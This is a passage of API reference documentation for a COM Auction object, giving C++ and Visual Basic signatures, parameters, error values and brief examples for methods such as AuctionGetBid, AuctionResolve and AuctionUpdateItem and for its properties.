  szAuctionId As String
) As Variant

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
unnamed parameter [C++]
[out, retval] Reserved for future use.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] The return value is reserved for future use. Ignore the return value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionGetBid Method [C++]

Auction.AuctionGetBid Method [Visual Basic]

Use this method to retrieve a bid from a specific bidder for a specific auction item.

Definition

[C++]
HRESULT _Auction::AuctionGetBid(
  BSTR szShopperId,
  BSTR szAuctionId,
  IDispatch** pprsBid
);
[Visual Basic]
Function AuctionGetBid(
  szShopperId As String,
  szAuctionId As String
) As Object

Parameters

szShopperId [C++]
[in] A BSTR that contains the unique ID of the bidder.
szShopperId [Visual Basic]
A String that contains the unique ID of the bidder.
szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
pprsBid [C++]
[out, retval] The address of a pointer to the IDispatch interface of an ADODB.Recordset object used to return the specified bid.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADODB.Recordset object that contains the specified bid.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' rsBid is a Recordset object
rsBid = oAuction.AuctionGetBid(szShopperId, szAuctionId)

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionGetBids Method [C++]

Auction.AuctionGetBids Method [Visual Basic]

Use this method to retrieve all the bids for the specified auction item.

Definition

[C++]
HRESULT _Auction::AuctionGetBids(
  BSTR szAuctionId,
  DATE dtSinceDate,
  IDispatch** rsBids
);
[Visual Basic]
Function AuctionGetBids(
  szAuctionId As String,
  Optional dtSinceDate As Date
) As Object

Parameters

szAuctionId [C++]
[in] A BSTR that contains the auction ID.
szAuctionId [Visual Basic]
A String that contains the auction ID.
dtSinceDate [C++]
[in, optional, defaultvalue (12:00:00 AM)] A DATE that specifies to return only those bids whose status have changed since the indicated date. Status changes are due to bid updates or calculated field updates. A value of NULL indicates to return all bids.
dtSinceDate [Visual Basic]
An optional Date that specifies to return only those bids whose status have changed since the indicated date. Status changes are due to bid updates or calculated field updates. A value of NULL indicates to return all bids.
rsBids [C++]
[out, retval] The address of a pointer to the IDispatch interface of the ADODB.Recordset object used to return the specified bids.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADODB.Recordset object that contains the specified bids.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' rsBids is a Recordset object
rsBids = oAuction.AuctionGetBids(szAuctionId, dtSinceDate)

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionGetItem Method [C++]

Auction.AuctionGetItem Method [Visual Basic]

Use this method to retrieve an item up for auction.

Definition

[C++]
HRESULT _Auction::AuctionGetItem(
  BSTR szAuctionId,
  IDispatch** rsItem
);
[Visual Basic]
Function AuctionGetItem(
  szAuctionId As String
) As Object

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
rsItem [C++]
[out, retval] The address of a pointer to the IDispatch interface of the ADODB.Recordset object used to return the specified item.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADODB.Recordset Object that contains the specified item.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionGetStatus Method [C++]

Auction.AuctionGetStatus Method [Visual Basic]

Use this method to retrieve a Dictionary object containing information for the item up for auction and the bids on the item.

Definition

[C++]
HRESULT _Auction::AuctionGetStatus(
  BSTR szAuctionId,
  IDispatch** dictStatus
);
[Visual Basic]
Function AuctionGetStatus(
  szAuctionId As String
) As Object

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
dictStatus [C++]
[out, retval] The address of a pointer to the IDispatch interface of a Dictionary object used to return the specified item along with the bids on the item.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Dictionary object that contains the specified item along with the bids on the item.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Dictonary object contains two Recordset objects, rsAuctionItem and rsAuctionBids.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionInit Method [C++]

Auction.AuctionInit Method [Visual Basic]

Use this method to initialize the Auction object.

Definition

[C++]
HRESULT _Auction::AuctionInit(
  BSTR szDSN,
  BSTR szItemTableName,
  BSTR szBidTableName,
  BSTR szBidOrderBy,
  IDispatch* objMessageManager,
  BSTR szLanguage,
  DATE dtAMT,
  VARIANT* unnamed parameter
);
[Visual Basic]
Function AuctionInit(
  szDSN As String,
  szItemTableName As String,
  szBidTableName As String,
  szBidOrderBy As String,
  objMessageManager As Object,
  szLanguage As String,
  dtAMT As Date
) As Variant

Parameters

szDSN [C++]
[in] A BSTR that contains the connection string to the database containing the Bid and Item tables.
szDSN [Visual Basic]
A String that contains the connection string to the database containing the Bid and Item tables.
szItemTableName [C++]
[in] A BSTR that contains the Item table name.
szItemTableName [Visual Basic]
A String that contains the Item table name.
szBidTableName [C++]
[in] A BSTR that contains the Bid table name.
szBidTableName [Visual Basic]
A String that contains the Bid table name.
szBidOrderBy [C++]
[in] A BSTR that contains the default bid sort order (SQL ORDER BY clause).
szBidOrderBy [Visual Basic]
A String that contains the default bid sort order (SQL ORDER BY clause).
objMessageManager [C++]
[in] A pointer to the IDispatch interface of a MessageManager object.
objMessageManager [Visual Basic]
A MessageManager object.
szLanguage [C++]
[in] A BSTR that contains the language used by the MessageManager object.
szLanguage [Visual Basic]
A String that contains the language used by the MessageManager object.
dtAMT [C++]
[in] A DATE that contains a timestamp.
dtAMT [Visual Basic]
A Date that contains a timestamp.
unnamed parameter [C++]
[out, retval] Reserved for future use.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] The return value is reserved for future use. Ignore the return value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'szDSN = _
'AppConfig.GetOptionsDictionary("").s_TransactionsConnectionString
'objMessageManager is the MessageManager object stored at application
'scope.
'dtAMT is a timestamp.
'Ignore return value by treating AuctionInit as a subroutine.
oAuction.AuctionInit szDSN, "AuctionItem", "AuctionBid", "modified_date", objMessageManager, "English", dtAMT

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionRandomBids Method [C++]

Auction.AuctionRandomBids Method [Visual Basic]

Use this method to enter random bids into an auction for testing or demonstration purposes.

Definition

[C++]
HRESULT _Auction::AuctionRandomBids(
  BSTR szAuctionId,
  VARIANT_BOOL fDelete,
  long nNumberBids,
  VARIANT* unnamed parameter
);
[Visual Basic]
Function AuctionRandomBids(
  szAuctionId As String,
  fDelete As Boolean,
  nNumberBids As Long
) As Variant

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
fDelete [C++]
[in] A VARIANT_BOOL that indicates whether to delete previous random bids before adding the new bids. A value of True specifies to delete the bids. A value of False specifies to save the bids.
fDelete [Visual Basic]
A Boolean that indicates whether to delete previous random bids before adding the new bids. A value of True specifies to delete the bids. A value of False specifies to save the bids.
nNumberBids [C++]
[in] A long that contains the number of random bids to add.
nNumberBids [Visual Basic]
A Long that contains the number of random bids to add.
unnamed parameter [C++]
[out, retval] Reserved for future use.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] The return value is reserved for future use. Ignore the return value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Random bids are entered under the bidder name "Random." The bids are at least the minimum bid and ask for a number of items between one and the number available.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'szAuctionId is a GUID
oAuction.AuctionRandomBids szAuctionId, FALSE, 25

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionResolve Method [C++]

Auction.AuctionResolve Method [Visual Basic]

Use this method to run the auction engine and determine the status of the auction. It updates computed values in both the Item and Bid tables.

Definition

[C++]
HRESULT _Auction::AuctionResolve(
  BSTR szAuctionId,
  VARIANT_BOOL bOptimize,
  VARIANT* unnamed parameter
);
[Visual Basic]
Function AuctionResolve(
  szAuctionId As String,
  Optional bOptimize As Boolean
) As Variant

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
bOptimize [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that determines when to stop searching for a winning bid. The default value of True indicates to cease checking for winning bids once a winner has been selected. A value of False indicates to search all records in the database in order to look for winning bids.
bOptimize [Visual Basic]
An optional Boolean that determines when to stop searching for a winning bid. A value of True indicates to cease checking for winning bids once a winner has been selected. A value of False indicates to search all records in the database in order to look for winning bids. The default value is True.
unnamed parameter [C++]
[out, retval] Reserved for future use.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] The return value is reserved for future use. Ignore the return value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionUpdateItem Method [C++]

Auction.AuctionUpdateItem Method [Visual Basic]

Use this method to update an existing item in the auction system.

Definition

[C++]
HRESULT _Auction::AuctionUpdateItem(
  BSTR szAuctionId,
  BSTR szSKU,
  CURRENCY cyReservePrice,
  long nAvailable,
  CURRENCY cyBidIncrement,
  long nAuctionType,
  CURRENCY cyMinimumBid,
  VARIANT_BOOL fSealedBid,
  VARIANT_BOOL fSealedInventory,
  VARIANT_BOOL fActive,
  DATE dtStartDate,
  DATE dtEndDate,
  long nAutoCloseSeconds,
  IDispatch* objErrorList,
  VARIANT_BOOL bResolve,
  long* plNumErrors
);
[Visual Basic]
Function AuctionUpdateItem(
  szAuctionId As String,
  szSKU As String,
  cyReservePrice As Currency,
  nAvailable As Long,
  cyBidIncrement As Currency,
  nAuctionType As Long,
  cyMinimumBid As Currency,
  fSealedBid As Boolean,
  fSealedInventory As Boolean,
  fActive As Boolean,
  dtStartDate As Date,
  dtEndDate As Date,
  nAutoCloseSeconds As Long,
  objErrorList As Object,
  Optional bResolve As Boolean
) As Long

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
szSKU [C++]
[in] A BSTR that contains the unique ID for the item.
szSKU [Visual Basic]
A String that contains the unique ID for the item.
cyReservePrice [C++]
[in] A CURRENCY that contains the minimum price the seller is willing to sell the item for. The reserve price must be greater than the minimum bid.
cyReservePrice [Visual Basic]
A Currency that contains the minimum price the seller is willing to sell the item for. The reserve price must be greater than the minimum bid.
nAvailable [C++]
[in] A long that contains the number of items for sale.
nAvailable [Visual Basic]
A Long that contains the number of items for sale.
cyBidIncrement [C++]
[in] A CURRENCY that contains the amount a bid must be raised in order to bid on the item.
cyBidIncrement [Visual Basic]
A Currency that contains the amount a bid must be raised in order to bid on the item.
nAuctionType [C++]
[in] A long that contains the auction type. For more information, see the Remarks section.
nAuctionType [Visual Basic]
A Long that contains the auction type. For more information, see the Remarks section.
cyMinimumBid [C++]
[in] A CURRENCY that contains the minimum opening bid.
cyMinimumBid [Visual Basic]
A Currency that contains the minimum opening bid.
fSealedBid [C++]
[in] A VARIANT_BOOL that indicates whether to check a bid against the minimum bid. A value of True skips the minimum bid check. A value of False checks against the minimum bid.
fSealedBid [Visual Basic]
A Boolean that indicates whether to check a bid against the minimum bid. A value of True skips the minimum bid check. A value of False checks against the minimum bid.
fSealedInventory [C++]
[in] A VARIANT_BOOL that indicates whether to check the wanted number of items in a bid against the number of items available for sale. A value of True skips the check (the fTakeLess parameter in the bid is ignored). A value of False checks against the available items.
fSealedInventory [Visual Basic]
A Boolean that indicates whether to check the wanted number of items in a bid against the number of items available for sale. A value of True skips the check (the fTakeLess parameter in the bid is ignored). A value of False checks against the available items.
fActive [C++]
[in] A VARIANT_BOOL that indicates whether the auction is active. A value of True indicates the auction is active. A value of False suspends bidding on the auction.
fActive [Visual Basic]
A Boolean that indicates whether the auction is active. A value of True indicates the auction is active. A value of False suspends bidding on the auction.
dtStartDate [C++]
[in] A DATE that determines when bids will be accepted on the item.
dtStartDate [Visual Basic]
A Date that determines when bids will be accepted on the item.
dtEndDate [C++]
[in] A DATE that determines when the auction is closed and the items can be purchased.
dtEndDate [Visual Basic]
A Date that determines when the auction is closed and the items can be purchased.
nAutoCloseSeconds [C++]
[in] A long that indicates the number of seconds to wait after the last bid is received to close the auction. This can close an auction before the end date. A value of zero (0) indicates to ignore the time of the last bid and close the auction on the end date.
nAutoCloseSeconds [Visual Basic]
A Long that indicates the number of seconds to wait after the last bid is received to close the auction. This can close an auction before the end date. A value of zero (0) indicates to ignore the time of the last bid and close the auction on the end date.
objErrorList [C++]
[in] A pointer to the IDispatch interface that contains the error list.
objErrorList [Visual Basic]
An IDispatch interface that contains the error list.
bResolve [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that indicates whether to call the AuctionResolve method. The default value of True causes the method to be called with the bOptimize parameter of the method set to False. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method.
bResolve [Visual Basic]
A Boolean that indicates whether to call the AuctionResolve method. A value of True causes the method to be called with the bOptimize parameter of the method set to False. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method. The default value is True.
plNumErrors [C++]
[out, retval] A pointer to a long used to return the number of error strings written to the objErrorList object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the number of error strings written to the objErrorList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The auction type controls the method used to determine the winning bidder and the amount the winning bidder must pay. The following table describes the available auction types.

Auction Type | Value | Description | Example
Winning Price | 0 | Winning bidders receive the item they bid on for the amount bid. If there is more than one item, winning bidders receive the number requested at the amount they bid. | Two items are at auction. Bidder A bids $10.00, Bidder B bids $5.00, and Bidder C bids $3.00, and each bidder requests one item. Bidder A receives one item for $10.00 and Bidder B receives one item for $5.00. However, if Bidder A requested two items at $10.00 each, both items would be awarded to Bidder A.
Clear Price | 1 | Winning bidders receive the item they bid on for the lowest winning bid. | Same conditions as Winning Price auction type example. Bidder A and Bidder B each receive one item for $5.00.
Second Price | 2 | Winning bidders pay the lowest of the following: The highest losing bid plus the bid increment, the lowest winning bid, or the reserve price, assuming the number of bids above the reserve price is less than the number of available items. | Same conditions as Winning Price auction type example with a bid increment of $0.50. Bidder A and Bidder B each receive one item for $3.50.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' lNumErrStrings is a Long
lNumErrStrings = oAuction.AuctionUpdateItem(szAuctionId, szSKU, cyReservePrice, nAvailable, cyBidIncrement, nAuctionType, cyMinimumBid, fSealedBid, fSealedInventory, fActive, dtStartDate, dtEndDate, nAutoCloseSeconds, objErrorList, bResolve)

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction Properties [C++]

Auction Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
AuctionID | BSTR | Stores the auction ID globally unique identifier (GUID). This property is read-only.
dtAMT | DATE | Stores the date/time stamp used by the auction engine. This property is read/write.
objMessageManager | IDispatch | Stores the MessageManager object used to generate error messages. This property is read/write.
SzBidOrderBy | BSTR | Stores the sort string used to resolve ties. This property is read/write.
szBidTableName | BSTR | Stores the name of the Bid table in the database. This property is read/write.
szDSN | BSTR | Stores the connection string for the database. This property is read/write.
szItemTableName | BSTR | Stores the name of the Item table in the database. This property is read/write.
[Visual Basic]
Property | Type | Description
AuctionID | String | Stores the auction ID globally unique identifier (GUID). This property is read-only.
dtAMT | Date | Stores the date/time stamp used by the auction engine. This property is read/write.
objMessageManager | Object | Stores the MessageManager object used to generate error messages. This property is read/write.
szBidOrderBy | String | Stores the sort string used to resolve ties. This property is read/write.
szBidTableName | String | Stores the name of the Bid table in the database. This property is read/write.
szDSN | String | Stores the connection string for the database. This property is read/write.
szItemTableName | String | Stores the name of the Item table in the database. This property is read/write.


_Auction::get_AuctionID Property [C++]

Auction.AuctionID Property [Visual Basic]

The AuctionID property is a read-only String that contains a globally unique identifier (GUID) that uniquely identifies the Auction object.

Definition

[C++]
HRESULT _Auction::get_AuctionID(
  BSTR* AuctionID
);
[Visual Basic]
Property AuctionID() As String

Parameters

AuctionID [C++]
[out, retval] A BSTR used to return the auction ID, a GUID.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::get_dtAMT, put_dtAMT Property [C++]

Auction.dtAMT Property [Visual Basic]

The dtAMT property is a read/write DATE value used to timestamp auction actions.

Definition

[C++]

Get method:

HRESULT _Auction::get_dtAMT(
  DATE* dtAMT
);

Put method:

HRESULT _Auction::put_dtAMT(
  DATE dtAMT
);
[Visual Basic]
Property dtAMT() As Date

Parameters

dtAMT [C++]
[in] When putting the property, a DATE that contains the time stamp.
[out, retval] When getting the property, a pointer to a DATE used to return the time stamp.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::get_objMessageManager, put_objMessageManagerProperty [C++]

Auction.objMessageManager [Visual Basic]

The objMessageManager property is a read/write MessageManager object used to return error messages to the bidder.

Definition

[C++]

Get method:

HRESULT _Auction::get_objMessageManager(
  IDispatch** objMessageManager
);

Put method:

HRESULT _Auction::put_objMessageManager(
  IDispatch* objMessageManager
);
[Visual Basic]
Property objMessageManager() As Object

Parameters

objMessageManager [C++]
[in] When putting the property, a pointer to the IDispatch interface of a MessageManager object.
[out, retval] When getting the property, the address of a pointer to the IDispatch interface of a MessageManager object.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::get_szBidOrderBy, put_szBidOrderBy Property C++]

Auction.szBidOrderBy Property [Visual Basic]

The szBidOrderBy property is a read/write String used to resolve ties.

Definition

[C++]

Get method:

HRESULT _Auction::get_szBidOrderBy(
  BSTR* szBidOrderBy
);

Put method:

HRESULT _Auction::put_szBidOrderBy(
  BSTR szBidOrderBy
);
[Visual Basic]
Property szBidOrderBy() As String

Parameters

szBidOrderBy [C++]
[in] When putting the property, a BSTR that contains a comma-separated list of the fields used as criteria for selecting the auction winners.
[out, retval] When getting the property, a pointer to a BSTR used to return a comma-separated list of the fields used as criteria for selecting the auction winners.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This string contains the fields (from the Bid table) used as criteria for selecting the auction winners when equal amounts are bid for an item. The string is added to the ORDER BY clause of a SQL string passed to the database for selecting the winners. The default string is "desired, modified_date". This means if two bidders bid the same amount, the bidder requesting more items wins. If still tied, the bidder placing the earliest bid wins.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::get_szBidTableName, put_szBidTableName Property [C++]

Auction.szBidTableName Property [Visual Basic]

The szBidTableName property is a read/write String used to store the name of the Bid table in the database.

Definition

[C++]

Get method:

HRESULT _Auction::get_szBidTableName(
  BSTR* szBidTableName
);

Put method:

HRESULT _Auction::put_szBidTableName(
  BSTR szBidTableName
);
[Visual Basic]
Property szBidTableName() As String

Parameters

szBidTableName [C++]
[in] When putting the property, a BSTR that contains the Bid table name.
[out, retval] When getting the property, a pointer to a BSTR used to return the Bid table name.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Bid table contains information about bids placed on auction items. The default name for this table in the site database is Auction_bid.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::get_szDSN, put_szDSN Property [C++]

Auction.szDSN Property [Visual Basic]

The szDSN property is a read/write String used to store the connection string for the database.

Definition

[C++]

Get method:

HRESULT _Auction::get_szDSN(
  BSTR* szDSN
);

Put method:

HRESULT _Auction::put_szDSN(
  BSTR szDSN
);
[Visual Basic]
Property szDSN() As String

Parameters

szDSN [C++]
[in] When putting the property, a BSTR that contains the connection string.
[out, retval] When getting the property, a pointer to a BSTR used to return the connection string.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The connection string defaults to an empty string and must be set before the Auction object can be used.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::get_szItemTableName, put_szItemTableName Property [C++]

Auction.szItemTableName Property [Visual Basic]

The szItemTableName property is a read/write String used to store the name of the Item table in the database.

Definition

[C++]

Get method:

HRESULT _Auction::get_szItemTableName(
  BSTR* szItemTableName
);

Put method:

HRESULT _Auction::put_szItemTableName(
  BSTR szItemTableName
);
[Visual Basic]
Property szItemTableName() As String

Parameters

szItemTableName [C++]
[in] When putting the property, a BSTR that contains the Item table name.
[out, retval] When getting the property, a pointer to a BSTR used to return the Item table name.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

